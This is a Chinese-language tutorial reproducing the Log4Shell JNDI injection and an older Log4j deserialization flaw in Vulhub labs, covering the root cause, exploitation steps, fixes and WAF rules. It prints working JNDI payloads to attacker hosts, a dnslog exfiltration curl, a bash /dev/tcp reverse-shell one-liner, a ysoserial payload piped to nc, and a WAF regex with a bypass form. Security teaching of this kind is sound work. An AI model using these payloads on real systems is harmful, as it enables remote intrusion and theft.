 远程代码执行漏洞完整复现与原理分析)
声明本文仅供安全研究与学习使用严禁用于非法用途。未经授权对他人系统进行渗透测试属于违法行为。0x00 前言2021年12月一个编号为 CVE-2021-44228 的漏洞震动了整个互联网——Apache Log4j2 JNDI 注入漏洞又名Log4Shell。CVSS 评分满分10.0Critical影响全球数百万 Java 应用。这个漏洞为什么这么恐怖因为 Log4j2 是 Java 生态中使用最广泛的日志框架几乎所有 Java 应用都在用。而攻击者只需要让目标记录一条包含恶意 payload 的日志——一个 HTTP 请求头、一个 URL 参数、甚至一个用户名——就能实现远程代码执行。本文将从漏洞原理→环境搭建→完整复现→修复方案四个维度带你彻底搞懂 Log4Shell。0x01 漏洞背景属性详情CVE编号CVE-2021-44228漏洞名称Apache Log4j2 JNDI 注入Log4ShellCVSS评分10.0 Critical影响版本Log4j 2.0 ~ 2.14.1修复版本2.15.0初始修复→ 2.17.0完全修复漏洞类型JNDI 注入 → 远程代码执行RCE发现时间2021年12月9日衍生漏洞时间线日期CVE内容修复版本2021-12-09CVE-2021-44228JNDI 注入 RCE2.15.02021-12-13CVE-2021-450462.15.0 绕过默认配置下仍可利用2.16.02021-12-18CVE-2021-45105递归查找导致 DoS2.17.02021-12-28CVE-2021-44832JDBC Appender 中的 RCE需控制配置文件2.17.10x02 漏洞原理深度分析2.1 什么是 Log4j2 的 Lookup 机制Log4j2 提供了一个强大的功能叫Message Lookups允许在日志消息中使用${prefix:name}语法进行动态查找替换。例如// 记录日志时Log4j2 会自动解析 ${} 中的表达式logger.info(系统版本: ${java:os});// 输出: 系统版本: Windows 10 10.0支持的 Lookup 前缀包括前缀功能示例${java:os}获取操作系统信息Windows 10 10.0${java:version}获取 Java 版本1.8.0_291${env:PATH}获取环境变量/usr/bin:…${sys:user.dir}获取系统属性/opt/app${jndi:...}JNDI 查找危险2.2 JNDI 是什么为什么危险JNDIJava Naming and Directory Interface是 Java 的命名与目录接口允许 Java 应用通过名称查找远程资源。支持多种协议jndi:ldap://attacker.com/evil → 通过 LDAP 协议加载远程对象 jndi:rmi://attacker.com/evil → 通过 RMI 协议加载远程对象漏洞的核心问题Log4j2 在处理${jndi:...}时没有对 JNDI 可解析的协议和地址做任何限制。当日志中包含如下 payload${jndi:ldap://attacker.com/evil}Log4j2 会解析到${jndi:...}表达式通过 JNDI 发起 LDAP 请求到attacker.com从攻击者控制的 LDAP 服务器获取远程 Java 类的引用下载并执行远程 Java 类→ RCE2.3 攻击链路图攻击者 目标服务器 恶意LDAP服务器 | | | | HTTP请求含payload | | | User-Agent: ${jndi: | | | ldap://evil.com/a} | | |------------------------| | | | | | | Log4j2记录日志 | | | 解析${jndi:ldap://evil.com/a} | |---------------------------| | | | | | 返回恶意Java类引用 | | |---------------------------| | | | | | 加载并实例化远程类 | | | ★ 远程代码执行 | | | |2.4 JDK 版本的影响JNDI 注入能否成功与目标 JDK 版本密切相关JDK 版本直接利用原因 8u191可以默认允许加载远程 Codebase≥ 8u191受限com.sun.jndi.ldap.object.trustURLCodebasefalse≥ 8u191绕过可能利用本地 ClassPath 中的 Gadget如 Tomcat EL本文复现环境中 JDK 版本低于 8u191可以直接利用。0x03 漏洞复现3.1 环境准备所需工具Docker Docker ComposeVulhub 靶场开源漏洞靶场集合Java ChainsJNDI 利用工具DNS 日志平台如 dnslog.cn / interactsh3.2 启动靶场环境# 进入 Vulhub 的 Log4j2 漏洞目录cdvulhub/log4j/CVE-2021-44228# 一键启动靶场dockercompose up-d启动后访问http://your-ip:8983可以看到 Apache Solr 的管理页面Apache Solr 8.11.0该靶场使用 Apache Solr 8.11.0 作为目标应用其内部依赖了存在漏洞的 Log4j 2.14.1。3.3 第一步DNS 探测验证漏洞存在在发起真正攻击之前先用 DNS 探测确认目标确实存在 JNDI 注入漏洞。访问 DNS 日志平台如 dnslog.cn获取一个子域名例如xxxxxx.dnslog.cn构造探测 payload发送 HTTP 请求GET /solr/admin/cores?action${jndi:ldap://${sys:java.version}.xxxxxx.dnslog.cn} HTTP/1.1 Host: your-ip:8983也可以用 curl 命令curlhttp://your-ip:8983/solr/admin/cores?action\${jndi:ldap://\${sys:java.version}.xxxxxx.dnslog.cn}回到 DNS 日志平台刷新如果看到类似如下的 DNS 查询记录1.8.0_291.xxxxxx.dnslog.cn说明 JNDI 注入成功而且我们还拿到了目标的 Java 版本号。3.4 第二步利用 Java Chains 执行命令启动 Java Chains 工具Vulhub 提供的 JNDI 利用工具生成 Payload选择 JNDI Basic Payload 模块设置执行的命令例如touch /tmp/success工具会生成类似如下的 LDAP URLldap://your-attacker-ip:1389/basic/TouchFile发送攻击请求GET /solr/admin/cores?action${jndi:ldap://your-attacker-ip:1389/basic/TouchFile} HTTP/1.1 Host: your-ip:89833.5 第三步验证命令执行进入靶场容器检查dockercomposeexecsolrbash# 检查文件是否被创建ls-la/tmp/success如果看到/tmp/success文件存在说明命令执行成功3.6 反弹 Shell进阶将执行命令替换为反弹 shell# bash 反弹 shell 命令bash-cbash -i /dev/tcp/attacker-ip/4444 01需要对命令进行 Base64 编码以避免特殊字符问题。攻击者监听nc-lvnp44440x04 补充Log4j 另一个反序列化漏洞CVE-2017-5645除了 Log4ShellLog4j 还有一个较少人知的反序列化漏洞。属性详情CVE编号CVE-2017-5645漏洞类型反序列化 RCE影响版本Log4j 2.x 2.8.2攻击条件需要目标开启 TCP Socket Server端口 4712漏洞原理Log4j 的TcpSocketServer使用ObjectInputStreamLogEventBridge接收日志事件直接对传入数据进行 Java 原生反序列化没有白名单过滤// 漏洞代码TcpSocketServerObjectInputStreammyServernewTcpSocketServerObjectInputStream(4712,newObjectInputStreamLogEventBridge()// 直接反序列化无过滤);myServer.run();复现步骤# 启动环境cdvulhub/log4j/CVE-2017-5645dockercompose up-d# 使用 ysoserial 生成 payload 并发送java-jarysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5touch /tmp/success|ncyour-ip4712# 验证dockercomposeexeclog4jbash-cls -la /tmp/success该漏洞利用条件较苛刻需要网络可达 TCP 4712 端口但一旦满足危害同样严重。0x05 修复方案5.1 根本修复升级 Log4j2目标版本说明2.17.1推荐修复了所有已知漏洞含 CVE-2021-448322.17.0修复 DoSCVE-2021-451052.16.0修复绕过CVE-2021-45046移除 Message Lookups2.15.0初始修复CVE-2021-44228默认禁用 JNDI lookup5.2 临时缓解措施无法升级时使用方法一设置 JVM 启动参数仅 2.10.0 有效-Dlog4j2.formatMsgNoLookupstrue方法二删除 JndiLookup 类zip-q-dlog4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class方法三设置环境变量LOG4J_FORMAT_MSG_NO_LOOKUPStrue5.3 检测是否受影响# 查找项目中使用的 Log4j 版本find/-namelog4j-core-*.jar2/dev/null# 检查 Java 应用的依赖树mvn dependency:tree|greplog4j5.4 WAF 防护规则纵深防御在 WAF 中拦截包含 JNDI lookup 特征的请求# 正则匹配 \$\{jndi:(ldap|rmi|dns|nis|iiop|corba):[^}]\}注意WAF 规则可被绕过如${${lower:j}ndi:...}不能替代升级。0x06 总结维度CVE-2021-44228 (Log4Shell)CVE-2017-5645攻击入口任何能触发日志记录的输入TCP 4712 端口直连利用难度极低中等危害级别严重CVSS 10.0高CVSS 9.8影响范围全球数百万应用开启 TCP Server 的应用核心原因JNDI lookup 无限制反序列化无过滤关键教训永远不要信任用户输入——即使它只是被记录到日志最小权限原则——日志框架不需要 JNDI 远程加载能力保持依赖更新——Log4j2 从 2.0 就存在这个设计缺陷长达 8 年未被发现纵深防御——升级 WAF 监控多层防护参考资源Apache Log4j2 安全公告Vulhub Log4j2 靶场LunaSec Log4Shell 深度分析安全社区 Log4j2 深度分析